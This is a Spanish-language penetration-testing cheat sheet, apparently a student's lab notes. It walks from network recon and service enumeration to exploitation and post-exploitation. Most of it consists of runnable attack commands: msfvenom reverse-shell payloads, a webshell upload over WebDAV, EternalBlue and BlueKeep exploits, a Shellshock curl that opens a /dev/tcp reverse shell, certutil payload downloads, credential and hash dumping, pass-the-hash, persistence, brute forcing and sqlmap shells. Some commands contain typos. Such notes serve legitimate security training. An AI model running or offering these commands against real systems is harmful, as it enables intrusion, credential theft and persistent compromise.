$ whois <URL>
$ host <URL>
$ whatweb <URL>
$ dnsrecon -d <URL>
$ wafw00f <URL>
$ sublist3r -d <URL> -e <engines>
$ theHarvester -d <URL> -b <engines>
$ fping -a -g <IP-RANGE> 2>/dev/null
-a
solo muestra hosts activos-g
envía una traza icmp a un rango de direcciones IP
Ejemplo:
$ fping -a -g 192.168.1.0/24 2>/dev/null > hosts.txt
Combinación de fping
con nmap
$ fping -a -g 192.168.1.0/24 2>/dev/null
$ nmap -sn -iL hosts.txt
$ sudo nmap -sn 192.168.1.0/24
-sn
Esta opción le dice a Nmap que no haga un escaneo de puertos después del descubrimiento de hosts y que sólo imprima los hosts disponibles que respondieron a la traza icmp.
$ sudo nmap -p- --open -Pn -n 192.168.1.10 -vvv -oG scanPorts
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--min-rate 5000
: Establece el número mínimo de paquetes que nmap enviará por segundo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
$ sudo nmap -sCV -p<PORTS> 192.168.1.10 -oN targeted -vvv
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
Para borrar completamente la tabla de enrutamiento, ejecutamos lo siguiente:
$ route -n
Utilizarlos al configurar una ruta para que el destino y la puerta de enlace queden más claros
En Windows y Linux podemos usar:
$ arp -a
En Linux, podemos usar:
$ ip route
$ ip route add <Network To Access> via <Gateway Address>
Ejemplo:
$ ip route add 192.168.1.0/24 via 10.10.10.1
Esto añade una ruta a la red 192.168.1.0/24 a través del router 10.10.10.1.
Servicios comunes y puertos por defecto.
Port | Servicio |
---|---|
21 | FTP |
22 | SSH |
23 | Telnet |
25 | SMTP |
53 | DNS |
80 | HTTP |
110 | POP3 |
139 | SMB - NetBios |
445 | SMB |
143 | IMAP |
443 | HTTPS |
Puerto | Servicio |
---|---|
53 | DNS |
67 | DHCP |
68 | DHCP |
69 | TFTP |
161 | SNMP |
SMB (Server Message Block) es un protocolo de compartición de archivos en red que se utiliza para facilitar la compartición de archivos y periféricos (impresoras y puertos serie) entre ordenadores de una red local (LAN).
- SMB utiliza el puerto 445 (TCP). Sin embargo, originalmente, SMB se ejecutaba sobre NetBIOS utilizando puerto 139.
- SAMBA es la implementación Linux de código abierto de SMB, y permite a los sistemas Windows acceder a recursos compartidos y dispositivos Linux acceder a recursos compartidos y dispositivos Linux.
El protocolo SMB utiliza dos niveles de autenticación, a saber:
- Autenticación de usuario: los usuarios deben proporcionar un nombre de usuario y una contraseña para autenticarse con el servidor SMB para acceder a un recurso compartido.
- Autenticación de recurso compartido: los usuarios deben proporcionar una contraseña para acceder a un recurso compartido restringido. a un recurso compartido restringido.
Puerto por defecto (445)
Scripts de nmap
utiles para este servicio:
- smb-ls
- smb-protocols
- smb-security-mode
- smb-enum-sessions
- smb-enum-shares
- smb-enum-users
- smb-enum-groups
- smb-enum-domains
- smb-enum-services
Sintaxis:
$ nmap -p445 --script <script> <IP-TARGET>
Es un cliente que nos permite acceder a recursos compartidos en servidores SMB.
$ smbclient //<IP-TARGET>/Public -U elliot # Realiza una conexión con el usario elliot
$ smbclient //<IP-TARGET>/Public -N # Conexión utilizando una sesión nula
$ smbclient -L <IP-TARGET> -N # Lista recursos compartidos
SMBMap permite a los usuarios enumerar las unidades compartidas samba en todo un dominio. Enumera las unidades compartidas, los permisos de las unidades, el contenido compartido, la funcionalidad de carga/descarga, la coincidencia de patrones de descarga automática de nombres de archivo e incluso la ejecución de comandos remotos.
$ smbmap -u guest -p "" -d . -H <IP-TARGET>
$ smbmap -u <USER> -p <PASSWORD> -H <IP-TARGET> -L
$ smbmap -u <USER> -p <PASSWORD> -H <IP-TARGET> -r 'C$'
$ smbmap -H <IP-TARGET> -u <USER> -p <PASSWORD> --upload '/root/file' 'C$\file'
$ smbmap -H <IP-TARGET> -u <USER> -p <PASSWORD> --download 'C$\file'
$ smbmap -u <USER> -p <PASSWORD> -H <IP-TARGET> -x 'ipconfig'
Enum4linux es una herramienta utilizada para extraer información de hosts de Windows y Samba. La herramienta está escrita en Perl y envuelta en herramientas de samba smbclient, rpclient, net y nslookup.
$ enum4linux -o <IP-TARGET> # OS
$ enum4linux -U <IP-TARGET> # Listar usuarios
$ enum4linux -G <IP-TARGET> # Listar grupos
$ enum4linux -S <IP-TARGET> # Listar recursos compartidos
$ enum4linux -i <IP-TARGET> # Comprobar si el servidor smb esta configurado para imprimir
$ enum4linux -r -u <user> -p <password> <IP-TARGET>
rpcclient es una utilidad que forma parte del conjunto de herramientas Samba. Se utiliza para interactuar con el protocolo Remote Procedure Call (RPC) de Microsoft, que se utiliza para la comunicación entre los sistemas basados en Windows y otros dispositivos. rpcclient se utiliza principalmente para fines de depuración y pruebas, y se puede utilizar para consultar y manipular sistemas remotos.
$ rpcclient -U "" -N <IP-TARGET>
srvinfo # SMB version
$ rpcclient -U "" -N <IP-TARGET>
enumdomusers # SMB users
$ rpcclient -U "" -N <IP-TARGET> # SMB users
lookupnames admin # SID of user "admin"
$ rpcclient -U "" -N <IP-TARGET> # SMB users
enumdomgroups # Domain Groups
$ hydra -l admin -P /usr/share/wordlist/rockyou.txt <IP-TARGET> smb
$ net share
$ net use * \delete # borrar el recurso compartido
$ net use z: \\<IP-TARGET>\c$ <password> /user:<username> # montar el recurso compartido
Modulos utiles:
- auxiliary/scannner/smb/smb2
- auxiliary/scannner/smb/smb_login
- auxiliary/scannner/smb/smb_enumusers
Puerto por defecto (21)
El Protocolo de transferencia de archivos es un protocolo de red para la transferencia de archivos entre sistemas conectados a una red TCP, basado en la arquitectura cliente-servidor.
Scripts de nmap utiles para este servicio:
- ftp-anon
- ftp-brute
$ echo "sysadmin" > users
% nmap <IP-TARGET> --script ftp-brute --script-args userdb=/root/users -p 21
$ nmap <IP-TARGET> --script ftp-anon -p 21
$ hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 10.10.11.230 ftp
Puerto por defecto (22)
$ ssh root@<IP-TARGET>
Scripts de nmap utiles para este servicio:
- ssh-brute
- ssh-hostkey
$ echo "administrator" > users
$ nmap <IP-TARGET> -p 22 --script ssh-brute --script-args userdb=/root/user
- auxiliary/scanner/ssh/ssh_login
Puertos por defecto HTTP (80) HTTPS (443)
Scripts de nmap utiles para este servicio:
- http-enum
- http-headers
- http-webdav-scan
$ nmap <IP-TARGET> -p 80 --script http-enum -vvv
$ nmap <IP-TARGET> -p 80 --script http-headers -vvv
$ nmap <IP-TARGET> -p 80 --script http-webdav-scan --script-args http-methods.url-path=/webdav/ -vvv
- auxiliary/scanner/http/http_version
- auxiliary/scanner/http/brute_dirs
- auxiliary/scanner/http/robots_txt
$ browsh --starup-url <IP-TARGET>
$ lynx http://<IP-TARGET>
Puerto por defecto (3306)
Scripts de nmap utiles para este servicio:
- mysql-empty-password
- mysql-info
- mysql-databases
- mysql-users
- mysql-variables
- mysql-dump-hashes
- mysql-audit
Comprueba si el password de root es vacío.
$ nmap --script=mysql-empty-password -p 3306 <IP-TARGET>
$ nmap --script=mysql-info -p 3306 <IP-TARGET>
Lista las base de datos
$ nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 <IP-TARGET>
Lista los usuarios de la base de datos
$ nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 <IP-TARGET>
$ nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 <IP-TARGET>
Dump hashes
$ nmap --script=mysql-dump-hashes --script-args="username='root',password=''" -p 3306 <IP-TARGET>
$ nmap <IP-TARGET> -p 3306 --script=mysql-audit --script-args="mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -vvv
Ejecuta una consulta
$ nmap <IP-TARGET> -p 3306 --script=mysql-query --script-args="query='select * from books.authors;',username='root',password=''" -vvv
$ hydra -l root -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt <IP-TARGET> mysql
Modulos utiles de metasploit para este servicio:
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/mysql/mysql_writable_dirs
- auxiliary/scanner/mysql/mysql_file_enum
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/mysql/mysql_hashdump
Puerto por defecto (1433)
$ nmap --script ms-sql-info -p 1433 <IP-TARGET>
Comprobar autenticación NTLM
$ nmap --script ms-sql-ntlm-info --script-args mssql.instance-port 1433 <IP-TARGET>
Enumerar usuarios y contraseña validos para MSSQL
$ nmap -p 1433 --script ms-sql-brute -script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt <IP-TARGET>
Comprobar si el usuario "sa" tiene configurada la contraseña como vacia
$ nmap -p 1433 --script ms-sql-empty-password <IP-TARGET>
Extraer todos los usuarios con sesión con una consulta sql
$ nmap -p 1433 --script ms-sql-query --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-query="SELECT * FROM master..syslogins" <IP-TARGET> -oN output.txt
Extraer todos los hashes de los usuarios
$ nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<USER>,mssql.password=<PASSWORD> <IP-TARGET>
Ejecutar un comando en la máquina victima usando xp_cmdshell
$ nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<USER>,mssql.password=<PASSWORD>,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" <IP-TARGET>
- auxiliary/scanner/mssql/mssql_login
- auxiliary/admin/mssql/mssql_enum
- auxiliary/admin/mssql/mssql_enum_sql_logins
- auxiliary/admin/mssql/mssql_exec
- auxiliary/admin/mssql/mssql_enum_domain_accounts
WebDAV es un protocolo que nos permite guardar archivos, editarlos, moverlos y compartirlos en un servidor web, no necesitaremos utilizar otros protocolos de intercambio de archivos en red local o Internet, como Samba, FTP o NFS. El objetivo de WebDAV es que se pueda trabajar directamente en el servidor web, sin necesidad de utilizar protocolos adicionales para el manejo remoto (o local) de los archivos. Este protocolo nos permite que los servidores web puedan aparecer como unidades de red en nuestro PC.
$ hydra -L /usr/share/wordlist/metasploit/common_users.txt -P /usr/share/wordlist/metasploit-framework/common_passwords.txt <IP-TARGET> http-get /webdav/
Davtest es un escáner WebDAV que envía archivos exploit al servidor WebDAV y automáticamente crea el directorio y carga archivos de diferentes formatos. La herramienta también intenta ejecutar los archivos cargados y nos da una salida de los archivos ejecutados con éxito.
$ davtest -url http://<IP-TARGET>/webdav -auth <USER>:<PASSWORD>
Cadaver es una herramienta para clientes WebDAV, que soporta una interfaz estilo línea de comandos. Admite operaciones como subir archivos, editarlos, moverlos, etc.
$ cadaver http://<IP-TARGET>/webdav
$ put /usr/share/webshells/asp/webshell.asp
Creamos el payload utilizando msfvenom
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP-LOCAL> LPORT=<LOCAL-PORT> -f asp > shell.asp
Subimos el payload usando cadaver
$ cadaver http://<IP-TARGET>/webdav
put /root/shell.asp
$ msfconsole
msf6> use multi/handler
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set LHOST <IP-LOCAL>
msf6> set LPORT <LOCAL-PORT>
msf6> run
Usando solo mestasploit
$ msfconsole
msf6> use exploit/windows/iis/iis_webdav_upload_asp
msf6> set HttpUsername bob
msf6> set HttpPassword password_123321
msf6> set rhost <IP-TARGET>
msf6> set rport <PORT-TARGET>
msf6> set path /webdav/metasploit.asp
msf6> set lhost <IP-LOCAL>
msf6> set lport <PORT-LOCAL>
msf6> run
- PsExec es un ligero sustituto de telnet desarrollado por Microsoft que permite ejecutar procesos en sistemas Windows remotos utilizando las credenciales de cualquier usuario.
- La autenticación de PsExec se realiza a través de SMB.
- Podemos utilizar la utilidad PsExec para autenticarnos con el sistema de destino legítimamente y ejecutar comandos arbitrarios o lanzar un comando remoto.
- Es muy similar a RDP, sin embargo, en lugar de controlar el sistema remoto a través de GUI, los comandos se envían a través de CMD.
$ msfconsole
msf6> use auxiliary/scanner/smb/smb_login
msf6> set user_file /usr/share/metasploit-framework/data/wordlist/common_users.txt
msf6> set user_file /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
msf6> set rhost <IP-TARGET>
msf6> set stop_on_success true
msf6> set verbose false
msf6> run
$ psexec.py Administrator@<IP-TARGET> cmd.exe
Usando solo mestasploit
msf6> use exploit/windows/smb/psexec
msf6> set rhost <IP-TARGET>
msf6> set SMBUser Administrator
msf6> set SMBPass quertyuiop
msf6> run
Podemos comprobar si la máquina víctima es vulnerable a MS17-010 usando el script de nmap smb-vuln-ms17-010.
$ nmap -sV -p 445 --script smb-vuln-ms17-010 <IP-TARGET>
https://github.com/3ndG4me/AutoBlue-MS17-010
$ cd shellcode
$ chmod +x shell_prep.sh
$ ./shell_prep.sh
$ # En este punto se configura el puerto y host al cual se enviara la revershell
$ cd ..
$ python eternalblue_exploit7.py <IP-TARGET> shellcode/sc_x64.bin
$ nc -nlvp 4444
Usando solo mestasploit
$ msfconsole
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS <IP-TARGET>
msf6> exploit
Puerto por defecto (3389)
Detectamos la versión de RDP que esta corriendo en la máquina objetivo.
$ msfconsole
msf6> use auxiliary/scanner/rdp/rdp_scanner
msf6> set RHOSTS <IP-TARGET>
msf6> set RPORT <PORT-TARGET>
msf6> run
$ hydra -L /usr/share/metasploit-framework/data/wordlist/common_users.txt -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt rdp://<IP-TARGET> -s <PORT-TARGET>
Utilizamos xfreerdp para conectarnos por rdp con las credenciales obtenidas
$ xfreerdp /u:administrator /p:<PASSWORD> /v:<IP-TARGET>:<PORT-TARGET>
$ msfconsole
msf6> use auxiliary/scanner/cve_2019_0708_bluekeep
msf6> set RHOSTS <IP-TARGET>
msf6> run
$ msfconsole
msf6> use exploit/rdp/cve_2019_0708_bluekeep_rce
msf6> set RHOSTS <IP-TARGET>
msf6> show targets
msf6> set target 2
msf6> run
$ crackmapexec winrm <IP-TARGET> -u <USER> -p /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt
$ crackmapexec winrm <IP-TARGET> -u <USER> -p <PASSWORD> -x "whoami"
$ evil-winrm.rb -u <USER> -p <PASSWORD> -i <IP-TARGET>
$ msfconsole
msf6> use exploit/windows/winrm/winrm_script_exec
msf6> set RHOSTS <IP-TARGET>
msf6> set FORCE_VBS true
msf6> set USERNAME <USER>
msf6> set PASSWORD <PASSWORD>
msf6> run
$ nmap -sCV --sript http-shellshock --script-args "http-shellshock.uri=/gettime.cgi" <IP-TARGET>
$ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' http://<IP-TARGET>/file.cgi
msf6 > search x # realiza busquedas de modulos
msf6 > workspace -a <name> # crea un nuevo espacio de trabajo
msf6 > use 1 # usar exploit (por número)
msf6 > use exploit/linux/samba/is_known_pipename # usar exploit (por nombre)
msf6 > show options # listar las opciones del modulo
msf6 > set payload windows/x64/meterpreter/reverse_tcp # setear parámetros
msf6 > sessions -l # lista las sesiones
msf6 > sessions -u <session-id> # actualiza una sesión a Meterpreter
Ejemplo: Por ejemplo, para configurar un listener para un reverse shell:
$ msfconsole
msf6> use exploit/multi/handler
msf6> set payload <REVERSE SHELL PAYLOAD>
msf6> set LHOST <IP-LOCAL>
msf6> set LPORT <LOCAL-PORT>
msf6> run
Creación de payloads usando msfvenom
Windows reverse shell:
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -f dll > shell.dll
Linux reverse shell:
$ msfvenom -p linux/x64/shell/reverse_tcp LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -f elf > shell.elf
PHP reverse shell:
$ msfvenom -p php/reverse_php LHOST=<LISTENER IP> LPORT=<LISTENER PORT> -o <OUTPUT FILE NAME>
meterpreter > background # envía la sesión actual a segundo plano
meterpreter > session -l # lista las sesiones abiertas actualmente
meterpreter > session -i <SESSION-ID> # se conecta a una sesión
meterpreter > getsyste # escalación de privilegios (Windows)
meterpreter > sysinfo # lista información del sistema
meterpreter > getuid # lista información del sistema
meterpreter > route # lista información del sistema
meterpreter > hashdump # Dump Windows hashes
meterpreter > upload <FILENAME> /path/to/directory # sube un archivo
meterpreter > download <FILENAME> /path/to/directory # descarga un archivo
Listener con netcat
$ nc -nlvp PORT
n
: dirección IPv
: modo verbosel
: escuchar las conexiones entrantesp
: puerto local de escucha
Ejemplo:
$ nc -lnvp 1234
Generar un terminal interactivo a través de Python:
$ which python # Comprobamos si el sistema tiene instalado Python
/usr/bin/python
$ python -c "import pty; pty.spawn('/bin/bash')" # Luego, lanzamos una terminal interactiva usando el modulo pty
$ export TERM=xterm # Por último, exportar XTERM
> nmap -Pn -sCV -O -p- --open 10.2.27.169 -vvv -oX enumeration.xml
msf6 > db_import /root/enumeration.xml
msf6 > hosts
msf6 > services
msf6 > db_nmap -Pn -sCV -O -p- --open 10.2.27.169
msf6 > search type:auxiliary name:ftp
Modulos utiles:
- auxiliary/scannner/ftp/ftp_version
- auxiliary/scannner/ftp/ftp_login
- auxiliary/scannner/ftp/ftp_anonymous
msf6 > search type:auxiliary name:smb
Modulos utiles:
- auxiliary/scanner/smb/smb_version
- auxiliary/scannner/smb/smb2
- auxiliary/scannner/smb/smb_login
- auxiliary/scanner/smb/smb_enumusers
msf6 > search type:auxiliary name:http
Modulos utiles:
- auxiliary/scanner/http/apache_userdir_enum
- auxiliary/scanner/http/brute_dirs
- auxiliary/scanner/http/dir_scanner
- auxiliary/scanner/http/dir_listing
- auxiliary/scanner/http/http_put
- auxiliary/scanner/http/files_dir
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/http_header
- auxiliary/scanner/http/http_version
- auxiliary/scanner/http/robots_txt
Modulos utiles:
- auxiliary/admin/mysql/mysql_enum
- auxiliary/admin/mysql/mysql_sql
- auxiliary/scanner/mysql/mysql_file_enum
- auxiliary/scanner/mysql/mysql_hashdump
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/mysql/mysql_schemadump
- auxiliary/scanner/mysql/mysql_version
- auxiliary/scanner/mysql/mysql_writable_dirs
Modulos utiles:
- auxiliary/scanner/ssh/ssh_version
- auxiliary/scanner/ssh/ssh_login
Modulos utiles:
- auxiliary/scanner/smtp/smtp_enum
- auxiliary/scanner/smtp/smtp_version
$ msfconsole
msf6> workspace -a HFS
msf6> setg RHOSTS <IP-TARGET>
msf6> db_nmap -sS -SCV -p- --open -O <IP-TARGET> -vvv
msf6> search type:exploit name: HttpFileServer httpd 2.3
msf6> use 0
msf6> run
- Ejecutamos el exploit
$ msfconsole
msf6> workspace -a Tomcat
msf6> setg RHOSTS <IP-TARGET>
msf6> db_nmap -sS -SCV -p- --open -O <IP-TARGET> -vvv
msf6> search type:exploit name:tomcat
msf6> use multi/http/tomcat_jsp_upload_bypass
msf6> set payload java/jsp_shell_bind_tcp
msf6> set SHELL cmd
msf6> run
msf6> CTRL + Z
msf6> sessions
- Creamos el palyload de meterpreter
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=1234 -f exe > meterpreter.exe
$ python3 -m http.server 80
- Descargamos el payload en la máquina victima
$ sessions 1
$ certutil -urlcache -f http://<ATTACK-IP>/meterpreter.exe meterpreter.exe
- Creamos el listener
msf6> use multi/handler
msf6> set PALYLOD windows/meterpreter/reverse_tcp
msf6> set LHOST <LHOST>
msf6> set LHOST 1234
msf6> run
- Ejecutamos el payload en la máquina victima
$ \meterpreter.exe
$ msfconsole
msf6> workspace -a vsftpd2.3.4
msf6> setg <IP-TARGET>
msf6> db_nmap -sS -sCV -p- --open -O -Pn -n <IP-TARGET> -vvv
msf6> search vsfpd
msf6> use 0
$ msfconsole
msf6> workspace -a samba
msf6> setg <IP-TARGET>
msf6> db_nmap -sS -sCV -p- --open -O -Pn -n <IP-TARGET> -vvv
msf6> search type:exploit name:smb
msf6> use exploit/linux/samba/is_known_pipename
msf6> run
CTRL + Z
msf6> sessions -u 1
meterpreter>
$ msfconsole
msf6> workspace -a ssh
msf6> setg <IP-TARGET>
msf6> db_nmap -sS -sCV -p- --open -O -Pn -n <IP-TARGET> -vvv
msf6> search libssh_auth_bypass
msf6> use auxiliary/scanner/ssh/libssh_auth_bypass
msf6> set SPAWN_PTY true
msf6> run
msf6> sessions 1
Haraka smtpd 2.8.8
$ msfconsole
msf6> workspace -a haraka
msf6> setg <IP-TARGET>
msf6> db_nmap -sS -sCV -p- --open -O -Pn -n <IP-TARGET> -vvv
msf6> hosts
msf6> services
msf6> search type:exploit name:Haraka
msf6> use exploit/linux/smtp/haraka
msf6> options
msf6> info
msf6> services
msf6> set SRVPORT 9898
msf6> set email_to root@attackdefense.test
msf6> set payload linux/x64/4/meterpreter_reverse_http
msf6> set payload linux/x64/meterpreter_reverse_http
msf6> options
msf6> ip a
msf6> set LHOST 192.76.184.2
msf6> options
msf6> run
msf6> session -u <session-id>
IMPORTANTE: Para poder utilizar estos modulos, es necesario tener una sesión establecida en la máquina victima.
meterpreter> getsystem
meterpreter> getuid
meterpreter> show_mount
meterpreter> migrate <PID>
CTRL + Z
msf6 > search win_privs
msf6 > use post/windows/gather/win_privs
msf6 post (windows/gather/win_privs) >
msf6 > search enum_logged_on_users
msf6 > use post/windows/gather/enum_logged_on_users
msf6 > set session 1
msf6 > loot
Este modulo nos permite conocer los privilegios del usuario.
Nos permite conocer los usuarios que inician sesión con frecuencia en el sistema.
Nos permite conocer si el sistema operativo esta corriendo dentro de una máquina virtual.
Enumera las aplicaciones instaladas en la máquina victima
Permite detectar carpetas que son excluidas del escaneo realizado por el antivirus.
Comprueba si el host es parte de un dominio.
Lista los parches aplicados
Lista los recursos compartidos
meterpreter > load incognito # En este punto ya ganamos acceso a la máquina victima
meterpreter > list_tokens -u
meterpreter > impersonate_token "ATTACKDEFENSE\Administrator"
meterpreter > prgrep explorer.exe
meterpreter > migrate <PID>
meterpreter > prgrep lsass
meterpreter > migrate <PID>
meterpreter > load kiwi
meterpreter > help
meterpreter > creads_all
meterpreter > lsa_dump_sam
meterpreter > prgrep lsass
meterpreter > migrate <PID>
meterpreter > hashdumps
msf6> search psexec
msf6> use exploit/windows/smb/psexec
msf6> set SMBUser Administrator
msf6> set SMBPass aad3b435b51404eeaad3b435b51404ee:e3c61a68f1b89ee6c8ba9507378dc88d
meterpreter > CTRL + Z # Luego de ganado acceso al sistema
msf6> search platform:windows persistence
msf6> use exploit/windows/local/persistence_service
msf6> set payload windows/meterpreter/reverse_tcp
msf6> set SESSSION 1
msf6> run
IMPORTANTE: Para poder utilizar estos modulos, es necesario tener una sesinón establecida en la máquina victima.
- post/linux/gather/enum_configs
- post/multi/gather/env
- post/linux/gather/enum_network
- post/linux/gather/enum_protections
- post/linux/gather/enum_system
- post/linux/gather/checkcontainer
- post/linux/gather/checkvm
- post/linux/gather/enum_users_history
- post/multi/manage/system_session
- post/linux/manage/download_exec
IMPORTANTE: Para poder utilizar estos modulos, es necesario tener una sesión establecida en la máquina victima.
- post/multi/gather/ssh_creds
- post/multi/gather/docker_creds
- post/linux/gather/hashdump
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_psk
- post/linux/gather/enum_xchat
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/manage/sshkey_persistence
$ hydra -L <LIST OF USERNAMES> -P <LIST OF PASSWORDS> <TARGET> <SERVICE> -s <PORT>
hydra -l <USERNAME> -P <LIST OF PASSWORDS> <TARGET> <SERVICE> -s <PORT>
$ hydra -L users.txt -P passwords.txt 192.168.1.10 ssh
$ hydra -L users.txt -P passwords.txt ssh://192.168.1.10
$ hydra -l admin -P passwords.txt 192.168.1.4 ftp
$ hydra -l admin -P passwords.txt ftp://192.168.1.10
$ unshadow passwd shadow > hash # Primero, preparamos un archivo para que John lo descifre:
$ john --wordlist-/usr/share/wordlists/rockyou.txt hash # Crack the passwords
$ john --format=sha512crypt --wordlist-/usr/share/wordlists/rockyou.txt hashes.txt
$ john --format=NT --wordlist-/usr/share/wordlists/rockyou.txt hashes.txt
$ hashcat -a3 -m 1000 hashes.txt --wordlist-/usr/share/wordlists/rockyou.txt
-m
tipo de hash (1000 - NTLM)
> whoami /all
> whoami /priv
> net users
> net user Administrator
> net localgroup administrators
> ipconfig
> ipconfig /all
> route print
> netstat -ano
> netstat -nat
> netsh advfirewall show
> wmic service list brief
> tasklist /SVC
> schtasks /query /fo LIST
Fuzzing de directorios con gobuster
$ gobuster dir -u <URL> -w <WORDLIST>
Ejemplo:
$ gobuster dir -u http://192.168.1.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
Fuzzing de directorios con ffuf
$ ffuf -c -u <URL>/FUZZ -w <WORDLIST> -t 20
Ejemplo:
$ ffuf -u http://192.168.1.10/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20
Fuzzing de directorios con dirb
$ dirb <URL> <WORDLIST>
Ejemplo:
$ dir http://192.168.1.10/ /usr/share/wordlists/dirb/common.txt
Fuzzing subdominios con wfuzz
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.target.com' --hw 324 http://target
Enumeración con nikto
$ nikto -h URL
Ejemplo:
$ nikto -h http://192.168.1.10/
$ sqlmap -u <URL> -p <PARAMETER> [options]
$ sqlmap -u http://192.168.1.10/index.php?id=10 --dbs # Lista todas las base de datos
$ sqlmap -u http://192.168.1.10/index.php?id=10 -D test --tables # Muestra todas las tablas en la base de datos
$ sqlmap -u http://192.168.1.10/index.php?id=10 -D test -T users --columns # Lista todas las columnas
$ sqlmap -u http://192.168.1.10/index.php?id=10 -D test -T users -C admin,password,email --dump # Muestra los valores de las columnas indicadas
$ sqlmap -u 'http://192.168.1.10/index.php?id=10' -p id --technique-U # Enumera el parámetro id usando la técnica union
$ sqlmap -u 'http://192.168.1.10/index.php?id=31' --dump # Devulve el contenido de la base de datos
$ sqlmap -u 'http://192.168.1.10/index.php?id=7' -os-shell # Lanza un prompt interativo
$ nmap -p80 --script http-wordpress-enum --script-args http-wordpress-enum.root='/wordpress',search-limit=1000 remote.nyx
$ wpscan --url <url>
$ nuclei -u http://remote.nyx/wordpress/ -tags fuzz -t /home/d4redevil/.local/nuclei-templates/http/fuzzing/wordpress-plugins-detect.yaml
$ gobuster dir -u http://remote.nyx/wordpress/ -w /usr/share/seclists/Discovery/WebContent/CMS/wp-plugins.fuzz.txt